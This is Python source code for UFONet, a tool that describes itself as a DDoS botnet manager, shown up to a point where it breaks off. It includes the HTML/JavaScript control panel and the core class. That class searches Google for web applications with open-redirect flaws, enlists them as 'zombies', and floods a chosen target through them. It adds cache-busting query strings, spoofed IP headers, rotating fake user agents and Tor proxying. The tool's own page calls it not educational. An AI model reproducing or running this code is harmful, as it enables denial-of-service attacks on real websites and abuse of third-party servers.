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" ) self.pages[ "/"] = self.pages["/header"] + """<script language="javascript"> function Start() { var win_start = window.open("gui","_parent","fulscreen=yes, titlebar=yes, top=180, left=320, width=640, height=460, resizable=yes", false); } </script> </head> <body bgcolor="white" text="black" style="font-family: Courier, 'Courier New', monospace;" > <center><br /> <img src="/ufonet-logo.png"> <br /><br /> <hr> UFONet - is a tool designed to launch <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> attacks against a target,<br /> using 'Open Redirect' vectors on third party web applications, like <a href="https://en.wikipedia.org/wiki/Botnet" target="_blank">botnet</a>.<br /><br /> <button onclick="Start()">START INTERFACE!</button> <br /><br /><hr> "This code is NOT for educational purposes"<br /><br /> Project: <a href="http://ufonet.sf.net" target="_blank">http://ufonet.sf.net</a> """ + self.pages["/footer"] self.pages["/gui"] = self.pages["/header"] + """</head> <body bgcolor="black" text="lime" style="font-family: Courier, 'Courier New', monospace;" > <center> <table cellpadding="38" cellspacing="38"> <tr> <td> <div class="ringMenu"> <ul> <li class="main"><a href="gui">Menu</a></li> <li class="top"><a href="botnet">Botnet</a></li> <li class="right"><a href="inspect">Inspect</a></li> <li class="bottom"><a href="attack">Attack</a></li> <li class="left"><a href="help">Help</a></li> </ul> </div> </td> <td> <pre> Welcome to <a href="https://twitter.com/search?f=realtime&q=ufonet&src=sprv" target="_blank">#UFONet</a> DDoS via WebAbuse Botnet Manager... ;-) """ + self.options.version + """ </pre> </td> </tr> </table> """ + self.pages["/footer"] self.pages["/botnet"] = self.pages[ "/header"] + """<script language="javascript"> function Requests() { var win_requests = window.open("requests","_blank","fulscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false); } function Start(){ dork=document.getElementById("dork").value if (document.getElementById("dork_list").checked){ document.getElementById("dork_list").value = "on"; } else { document.getElementById("dork_list").value = "off"; } dork_list = document.getElementById("dork_list").value num_results=document.getElementById("num_results").value params="dork="+escape(dork)+"&dork_list="+escape(dork_list)+"&num_results="+escape(num_results) runCommandX("cmd_search",params) } function showHide() { if(document.getElementById("dork_list").checked) { document.getElementById("dork_pattern").style.display = "none"; } else { document.getElementById("dork_pattern").style.display = ""; } } </script> <script>loadXMLDoc()</script> </head> <body bgcolor="black" text="lime" style="font-family:Â Courier, 'Courier New', monospace;" > <center> <table cellpadding="38" cellspacing="38"> <tr> <td> <div class="ringMenu"> <ul> <li class="main"><a href="botnet">Botnet</a></li> <li class="top"><a href="help">Help</a></li> <li class="right"><a href="inspect">Inspect</a></li> <li class="bottom"><a href="attack">Attack</a></li> <li class="left"><a href="gui">RETURN</a></li> </ul> </div> </td> <td> <pre> <u>Manage Botnet</u>: <button onclick="Requests()">Configure requests</button> <hr> * Your Army: <a href='javascript:runCommandX("cmd_list_army")'>List</a> | <a href='javascript:runCommandX("cmd_test_army")'>Test!</a> <form method='GET'> <hr> * Search for 'zombies': <div id="dork_pattern" style="display:block;"> + Using a dork <input type="text" name="dork" id="dork" size="20" placeholder="proxy.php?url="></div> + Using a list (from: dorks.txt) <input type="checkbox" id="dork_list" onchange="showHide()"> + Max num of result <input type="text" name="num_results" id="num_results" size="5" value="10"> </form> <hr> <button onClick=Start()>Search</button></pre> </td> </tr> </table> <hr> <div id="cmdOut"></div> """ + self.pages["/footer"] self.pages["/attack"] = self.pages[ "/header"] + """<script language="javascript"> function Requests() { var win_requests = window.open("requests","_blank","fulscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false); } function Start(){ target=document.getElementById("target").value path =document.getElementById("path").value rounds=document.getElementById("rounds").value params="target="+escape(target)+"&path="+escape(path)+"&rounds="+escape(rounds) runCommandX("cmd_attack",params) } </script> </head> <body bgcolor="black" text="lime" style="font-family:Â Courier, 'Courier New', monospace;" > <center> <table cellpadding="38" cellspacing="38"> <tr> <td> <div class="ringMenu"> <ul> <li class="main"><a href="attack">Attack</a></li> <li class="top"><a href="help">Help</a></li> <li class="right"><a href="botnet">Botnet</a></li> <li class="bottom"><a href="inspect">Inspect</a></li> <li class="left"><a href="gui">RETURN</a></li> </ul> </div> </td> <td> <pre> <u>Attacking:</u> * Set your target <input type="text" name="target" id="target" size="30" placeholder="http(s)://"> * Set place to 'bit' <input type="text" name="path" id="path" size="30" placeholder="/path/big.jpg"> * Number of rounds <input type="text" name="rounds" id="rounds" size="5" value="1"> <hr> <button onclick="Requests()">Configure requests</button> <hr> <button onClick=Start()>START!</button></pre> </td> </tr> </table> <hr> <div id="cmdOut"></div> """ + self.pages["/footer"] self.pages["/help"] = self.pages[ "/header"] + """<script language="javascript"> function show(one) { var nb = document.getElementsByTagName("div"); for(var x=0; x<nb.length; x++) { name = nb[x].getAttribute("class"); if (name == 'nb') { if (nb[x].id == one) { nb[x].style.display = 'block'; } else { nb[x].style.display = 'none'; } } } } </script> </head> <body bgcolor="black" text="lime" style="font-family:Â Courier, 'Courier New', monospace;" > <center> <table cellpadding="38" cellspacing="38"> <tr> <td> <div class="ringMenu"> <ul> <li class="main"><a href="help">Help</a></li> <li class="top"><a href="botnet">Botnet</a></li> <li class="right"><a href="inspect">Inspect</a></li> <li class="bottom"><a href="attack">Attack</a></li> <li class="left"><a href="gui">RETURN</a></li> </ul> </div> </td> <td> <pre> <div><a id="mH1" href="javascript:show('nb1');" style="text-decoration: none;" >+ Project info</a></div><div class="nb" id="nb1" style="display: none;"> UFONet - is a tool designed to launch <u>automatic DDoS attacks</u> using a botnet Development began in: 2013 It is written in <a href="https://www.python.org/" target="_blank">python</a> and distributed under license <a href="http://gplv3.fsf.org/" target="_blank">GPLv3</a> + Main project website: <a href="http://ufonet.sf.net" target="_blank">http://ufonet.sf.net</a> + Forum threads: <a href="https://forum.unsystem.net/category/churchofsecurity/ufonet" target="_blank">http://forum.unsystem.net</a></div> <div><a id="mH2" href="javascript:show('nb2');" style="text-decoration: none;" >+ How does it work?</a></div> <div class="nb" id="nb2" style="display: none;"> It works exploiting "Open Redirect" vectors on third party web applications. You can read some info about what exploits on next links: - <a href="http://cwe.mitre.org/data/definitions/601.html" target="_blank">CWE-601:Open Redirect</a> - <a href="https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2" target="_blank">OWASP:URL Redirector Abuse</a> You have a technical schema about an attacking scenario: <a href="http://ufonet.sf.net/ufonet/ufonet-schema.png" target="_blank">here</a> Also, you can follow <a href="http://ufonet.sourceforge.net/ufonet/UFONet-v0.3-Abduction-English-GSICK.pdf" target="_blank">this link</a> to view some slides created on 2014</div> <div><a id="mH3" href="javascript:show('nb3');" style="text-decoration: none;" >+ How to start?</a></div> <div class="nb" id="nb3" style="display: none;"> All you need to start an attack is: - a proxy (not required); to mask the origin of the attack (ex: <a href="https://www.torproject.org/" target="_blank">Tor</a>) - a list of 'zombies'; to conduct their connections to your target - a place; to efficiently hit your target</div> <div><a id="mH4" href="javascript:show('nb4');" style="text-decoration: none;" >+ Updating</a></div><div class="nb" id="nb4" style="display: none;"> This feature can be used ONLY if you have cloned UFONet from GitHub respository. git clone https://github.com/epsylon/ufonet To check your version you should launch, from shell: ./ufonet --update </div> <div><a id="mH5" href="javascript:show('nb5');" style="text-decoration: none;" >+ How can help?</a></div> <div class="nb" id="nb5" style="display: none;"> You can contribute on many different ways: - Testing; use the tool and search for possible bugs a new ideas - Coding; you can try to develop more features - Promoting; talk about UFONet on the internet, events, hacklabs, etc - Donating; money, objects, support, love ;-) + Bitcoin: 1Q63KtiLGzXiYA8XkWFPnWo7nKPWFr3nrc + Ecoin: 6enjPY7PZVq9gwXeVCxgJB8frsf4YFNzVp</div> <div><a id="mH6" href="javascript:show('nb6');" style="text-decoration: none" >+ Contact forms</a></div> <div class="nb" id="nb6" style="display: none;"> You can contact using: - Email: <a href="mailto: [email protected]">[email protected]</a> [GPG:0xB8AC3776] - IRC: irc.freenode.net / #ufonet - Twitter: <a href="https://twitter.com/psytzsche" target="_blank">@psytzsche</a></div></pre> </td> </tr> </table> """ + self.pages["/footer"] self.pages["/inspect"] = self.pages[ "/header"] + """<script language="javascript"> function Requests() { var win_requests = window.open("requests","_blank","fulscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false); } function Start(){ target=document.getElementById("target").value params="target="+escape(target) runCommandX("cmd_inspect",params) } </script> <script>loadXMLDoc()</script> </head> <body bgcolor="black" text="lime" style="font-family:Â Courier, 'Courier New', monospace;" > <center> <table cellpadding="38" cellspacing="38"> <tr> <td> <div class="ringMenu"> <ul> <li class="main"><a href="inspect">Inspect</a></li> <li class="top"><a href="help">Help</a></li> <li class="right"><a href="botnet">Botnet</a></li> <li class="bottom"><a href="attack">Attack</a></li> <li class="left"><a href="gui">RETURN</a></li> </ul> </div> </td> <td> <pre> <u>Inspect for places</u>: <button onclick="Requests()">Configure requests</button> <hr> * Set URL <input type="text" name="target" id="target" size="30" placeholder="http(s)://"> <hr> <button onClick=Start()>START!</button></pre> </td> </tr> </table> <hr> <div id="cmdOut"></div> """ + self.pages["/footer"] self.pages["/lib.js"] = """function loadXMLDoc() { var xmlhttp; if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp = new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4 ) { if(xmlhttp.status == 200){ document.getElementById("cmdOut").innerHTML = xmlhttp.responseText; setTimeout("loadXMLDoc()", 3000); } } } xmlhttp.send(); } function runCommandX(cmd,params) { var xmlhttp; if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp = new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4 ) { if(xmlhttp.status == 200){ if(cmd.indexOf("?")!=-1){ s=cmd.split("?") cmd=s[0] params=s[1] } document.getElementById("cmdOut").innerHTML = xmlhttp.responseText; //document.getElementById("cmdOut").scrollIntoView(); newcmd=cmd if(newcmd=="cmd_list_army") { //do not refresh listing army return; } else { if(newcmd=="cmd_test_army" || newcmd=="cmd_attack" || newcmd=="cmd_inspect" || newcmd=="cmd_search") newcmd=newcmd+"_update" //do not refresh if certain text on response is found if(newcmd.match(/update/) && ( xmlhttp.responseText.match(/Botnet updated/) || xmlhttp.responseText.match(/Biggest File/) || xmlhttp.responseText.match(/Not any zombie active/) || xmlhttp.responseText.match(/Your target looks OFFLINE/) || xmlhttp.responseText.match(/Unable to connect to target/) || xmlhttp.responseText.match(/Something wrong testing/) || xmlhttp.responseText.match(/Target url not valid/) || xmlhttp.responseText.match(/Attack completed/) || xmlhttp.responseText.match(/Bye/) ) ) return; setTimeout(function(){runCommandX(newcmd,params)}, 3000); return;} } } } if(typeof params != "undefined") cmd=cmd+"?"+params xmlhttp.open("GET", cmd, true); xmlhttp.send(); } """ self.pages["/requests"] = self.html_requests()
class UFONet(object): def __init__(self): self.agents = [] self.agents.append("Mozilla/5.0 (iPhone; U; CPU iOS 2_0 like Mac OS X; en-us)") self.agents.append("Mozilla/5.0 (Linux; U; Android 0.5; en-us)") self.agents.append("Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)") self.agents.append("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)") self.agents.append( "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13" ) self.agents.append("Opera/9.25 (Windows NT 6.0; U; en)") self.agents.append("Mozilla/2.02E (Win95; U)") self.agents.append("Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)") self.agents.append("Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)") self.agents.append( "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)" ) self.agents.append( "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5)" ) self.agents.append("(Privoxy/1.0)") self.agents.append("CERN-LineMode/2.15") self.agents.append("cg-eye interactive") self.agents.append("China Local Browser 2.6") self.agents.append("ClariaBot/1.0") self.agents.append("Comos/0.9_([email protected])") self.agents.append("*****@*****.**") self.agents.append("DonutP; Windows98SE") self.agents.append("Dr.Web (R) online scanner: http://online.drweb.com/") self.agents.append("Dragonfly File Reader") self.agents.append("Eurobot/1.0 (http://www.ayell.eu)") self.agents.append("FARK.com link verifier") self.agents.append("FavIconizer") self.agents.append("Feliz - Mixcat Crawler (+http://mixcat.com)") self.agents.append("TwitterBot (http://www.twitter.com)") self.user_agent = random.choice(self.agents).strip() self.referer = "http://127.0.0.1/" self.head = False self.payload = False self.external = False self.attack_mode = False self.retries = "" self.delay = "" def set_options(self, options): self.options = options def create_options(self, args=None): self.optionParser = UFONetOptions() self.options = self.optionParser.get_options(args) if not self.options: return False return self.options def banner(self): print "=" * 75, "\n" print "888 888 8888888888 .d88888b. 888b 888 888 " print "888 888 888 d88P" "Y888b 8888b 888 888 " print "888 888 888 888 888 88888b 888 888 " print "888 888 8888888 888 888 888Y88b 888 .d88b. 888888 " print "888 888 888 888 888 888 Y88b888 d8P Y8b 888 " print "888 888 888 888 888 888 Y88888 88888888 888 " print "Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. " print " 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888" print self.optionParser.description, "\n" print "=" * 75 def try_running(self, func, error, args=None): options = self.options args = args or [] try: return func(*args) except Exception as e: print (error, "error") if DEBUG: traceback.print_exc() def run(self, opts=None): if opts: options = self.create_options(opts) self.set_options(options) options = self.options # check proxy options proxy = options.proxy if options.proxy: try: pattern = "http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]" m = re.search(pattern, proxy) if m is None: self.banner() print ("\n[Error] - Proxy malformed!\n") sys.exit(2) except Exception: self.banner() print ("\n[Error] - Proxy malformed!\n") sys.exit(2) # check tor connection if options.checktor: self.banner() try: print ("\nSending request to: https://check.torproject.org\n") tor_reply = urllib2.urlopen("https://check.torproject.org").read() your_ip = tor_reply.split("<strong>")[1].split("</strong>")[0].strip() if not tor_reply or "Congratulations" not in tor_reply: print ("It seems that Tor is not properly set.\n") print ("Your IP address appears to be: " + your_ip + "\n") else: print ("Congratulations!. Tor is properly being used :-)\n") print ("Your IP address appears to be: " + your_ip + "\n") except: print ("Cannot reach TOR checker system!. Are you correctly connected?\n") # search for 'zombies' on google results if options.search: try: self.banner() print ("\nSearching for 'zombies' on google results. Good Luck ;-)\n") zombies = self.search_zombies() check_url_link_reply = raw_input("Wanna check if they are valid zombies? (Y/n)\n") print "-" * 25 if check_url_link_reply == "n" or check_url_link_reply == "N": print "\nBye!\n" else: test = self.testing(zombies) except Exception: print ("[Error] - Something wrong searching!\n") # test web 'zombie' servers -> show statistics if options.test: try: self.banner() zombies = self.extract_zombies() test = self.testing(zombies) except Exception: print ("\n[Error] - Something wrong testing!\n") # attack target -> exploit Open Redirect massively and connect all vulnerable servers to a target if options.target: try: self.banner() zombies = self.extract_zombies() attack = self.attacking(zombies) except Exception: print ("\n[Error] - Something wrong attacking!\n") # check/update for latest stable version if options.update: self.banner() try: print ("\nTrying to update automatically to the latest stable version\n") Updater() except: print ("\nSomething was wrong!. You should checkout UFONet manually with:\n") print ("$ git clone https://github.com/epsylon/ufonet\n") def search_zombies(self): # crawl google results to search for possible zombies options = self.options url = "https://www.google.com/xhtml?" q = 'inurl:"' + str(options.search) + '"' # set query to search literally in google url results start = 0 # set index number of first entry if options.num_results: # set number of results to search try: num = int(options.num_results) except: print ("You should specify and integer!!!. Using default value: 10\n") num = 10 else: num = 10 gws_rd = "ssl" # set SSL as default query_string = {"q": q, "start": start, "num": num, "gws_rd": gws_rd} data = urllib.urlencode(query_string) url = url + data headers = {"User-Agent": self.user_agent, "Referer": self.referer} # set fake user-agent and referer if options.verbose: print ("Query used: " + url + "\n") try: req = urllib2.Request(url, None, headers) google_reply = urllib2.urlopen(req).read() except: print ("[Error] - Unable to connect to google\n") sys.exit(2) # print google_reply regex = '<h3 class="r"><a href="/url(.+?)">' # search urls on google results using regex pattern = re.compile(regex) url_links = re.findall(pattern, google_reply) zombies = [] for url in url_links: url_link = url.strip("?q=") # parse url_links to retrieve only a url url_link = urllib.unquote(url_link).decode("utf8") # unquote encoding sep = str(options.search) url_link = url_link.rsplit(sep, 1)[0] + sep print ("+Found possible victim: " + url_link + "\n") zombies.append(url_link) return zombies def extract_zombies(self): # extract targets from file (ex: 'zombies.txt') options = self.options if options.test: try: f = open(options.test) zombies = f.readlines() zombies = [zombie.replace("\n", "") for zombie in zombies] f.close() if not zombies: print "\n[Error] - Imposible to retrieve 'zombies' from the file." sys.exit(2) else: return zombies except: if os.path.exists(options.test) == True: print "\n[Error] - Cannot open:", options.test, "\n" sys.exit(2) else: print "\n[Error] - Cannot found:", options.test, "\n" sys.exit(2) else: try: f = open("zombies.txt") zombies = f.readlines() zombies = [zombie.replace("\n", "") for zombie in zombies] f.close() if not zombies: print "\n[Error] - Imposible to retrieve 'zombies' from the file." sys.exit(2) else: return zombies except: if os.path.exists("zombies.txt") == True: print "\n[Error] - Cannot open:", "zombies.txt", "\n" sys.exit(2) else: print "\n[Error] - Cannot found:", "zombies.txt", "\n" sys.exit(2) def update_zombies(self, zombies_ready): # update targets on file (ex: 'zombies.txt') options = self.options if options.test: f = open(options.test, "w") # re-write list only with valid zombies for zombie in zombies_ready: f.write(zombie + os.linesep) f.close() if options.search: with open("zombies.txt", "a") as zombie_list: # append them to existing list for zombie in zombies_ready: zombie_list.write(zombie + os.linesep) def connect_zombies(self, zombie): # connect zombies and manage different options: HEAD, GET, POST, # user-Agent, referer, timeout, retries, threads, delay.. options = self.options c = pycurl.Curl() if self.head == True: c.setopt(pycurl.URL, zombie) # set 'zombie' target c.setopt(pycurl.NOBODY, 1) # use HEAD if self.payload == True: payload = zombie + "http://www.google.es" # Open Redirect payload c.setopt(pycurl.URL, payload) # set 'zombie' payload c.setopt(pycurl.NOBODY, 0) # use GET if self.external == True: external_service = "http://www.downforeveryoneorjustme.com/" external = external_service + options.target c.setopt(pycurl.URL, external) # external HEAD check before to attack c.setopt(pycurl.NOBODY, 0) # use GET if self.attack_mode == True: if options.place: # use zombie's vector to connect to a target's place and add a random query to evade cache random_hash = random.randint(1, 100000000) url_attack = zombie + options.target + "/" + options.place + "?" + str(random_hash) else: url_attack = zombie + options.target # Use zombie vector to connect to original target url print url_attack c.setopt(pycurl.URL, url_attack) # GET connection on target site c.setopt(pycurl.NOBODY, 0) # use GET fakeheaders = [ "Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg", "Connection: Keep-Alive", "Content-type: application/x-www-form-urlencoded; charset=UTF-8", "Cache-control: no-cache", "Pragma: no-cache", "Pragma-directive: no-cache", "Cache-directive: no-cache", "Expires: 0", ] # set fake headers (important: no-cache) c.setopt(pycurl.FOLLOWLOCATION, 1) # set follow redirects c.setopt(pycurl.MAXREDIRS, 10) # set max redirects c.setopt(pycurl.SSL_VERIFYHOST, 0) # don't verify host c.setopt(pycurl.SSL_VERIFYPEER, 0) # don't verify peer c.setopt(pycurl.SSLVERSION, pycurl.SSLVERSION_SSLv3) # sslv3 c.setopt(pycurl.COOKIEFILE, "/dev/null") # black magic c.setopt(pycurl.COOKIEJAR, "/dev/null") # black magic c.setopt(pycurl.FRESH_CONNECT, 1) # important: no cache! if options.xforw: # set x-forwarded-for generate_random_xforw = RandomIP() xforwip = generate_random_xforw._generateip("") xforwfakevalue = ["X-Forwarded-For: " + str(xforwip)] fakeheaders = fakeheaders + xforwfakevalue if options.xclient: # set x-client-ip generate_random_xclient = RandomIP() xclientip = generate_random_xclient._generateip("") xclientfakevalue = ["X-Client-IP: " + str(xclientip)] fakeheaders = fakeheaders + xclientfakevalue if options.host: # set http host header host_fakevalue = ["Host: " + str(options.host)] fakeheaders = fakeheaders + host_fakevalue c.setopt(pycurl.HTTPHEADER, fakeheaders) # set fake headers b = StringIO.StringIO() c.setopt(pycurl.HEADERFUNCTION, b.write) h = StringIO.StringIO() c.setopt(pycurl.WRITEFUNCTION, h.write) if options.agent: # set user-agent c.setopt(pycurl.USERAGENT, options.agent) else: c.setopt(pycurl.USERAGENT, self.user_agent) if options.referer: # set referer c.setopt(pycurl.REFERER, options.referer) else: c.setopt(pycurl.REFERER, self.referer) if options.proxy: # set proxy c.setopt(pycurl.PROXY, options.proxy) else: c.setopt(pycurl.PROXY, "") if options.timeout: # set timeout c.setopt(pycurl.TIMEOUT, options.timeout) c.setopt(pycurl.CONNECTTIMEOUT, options.timeout) else: c.setopt(pycurl.TIMEOUT, 30) c.setopt(pycurl.CONNECTTIMEOUT, 30) if options.delay: # set delay self.delay = options.delay else: self.delay = 0 if options.retries: # set retries self.retries = options.retries else: self.retries = 1 try: # try to connect c.perform() time.sleep(self.delay) except: # try retries for count in range(0, self.retries): time.sleep(self.delay) c.perform() if count == self.retries: print "\n[Error] - Imposible to connect. Aborting...\n" sys.exit(2) if self.head == True: # HEAD reply code_reply = c.getinfo(pycurl.HTTP_CODE) reply = b.getvalue() if options.verbose: print "Reply:" print "\n", reply return code_reply if self.external == True: # External reply external_reply = h.getvalue() if options.verbose: print "Reply:" print "\n", external_reply return external_reply if self.payload == True: # Payloads reply payload_reply = h.getvalue() if options.verbose: print "Reply:" print "\n", payload_reply return payload_reply if self.attack_mode == True: # Attack mode reply attack_reply = h.getvalue() if options.verbose: print "Reply:" print "\n", attack_reply return attack_reply def testing(self, zombies): # test Open Redirect vulnerabilities on webapps and show statistics # HTTP HEAD check print ("Are 'they' alive? :-) (HEAD Check):") print "=" * 35 num_active_zombies = 0 num_failed_zombies = 0 active_zombies = [] army = 0 print "Trying:", len(zombies) print "-" * 21 for zombie in zombies: if self.options.search: zombie = str(zombie) t = urlparse(zombie) if zombie.startswith("http://") or zombie.startswith("https://"): # send HEAD connection self.head = True code_reply = str(self.connect_zombies(zombie)) self.head = False if ( code_reply == "200" or code_reply == "302" or code_reply == "301" or code_reply == "401" or code_reply == "403" or code_reply == "405" ): name_zombie = t.netloc print "Zombie:", name_zombie print "Status: Ok [" + code_reply + "]" num_active_zombies = num_active_zombies + 1 active_zombies.append(zombie) elif code_reply == "404": print "Zombie:", t.netloc print "Status: Not Found [" + code_reply + "]" num_failed_zombies = num_failed_zombies + 1 else: print "Zombie:", t.netloc print "Status: Not Allowed [" + code_reply + "]" num_failed_zombies = num_failed_zombies + 1 else: if self.options.verbose: print 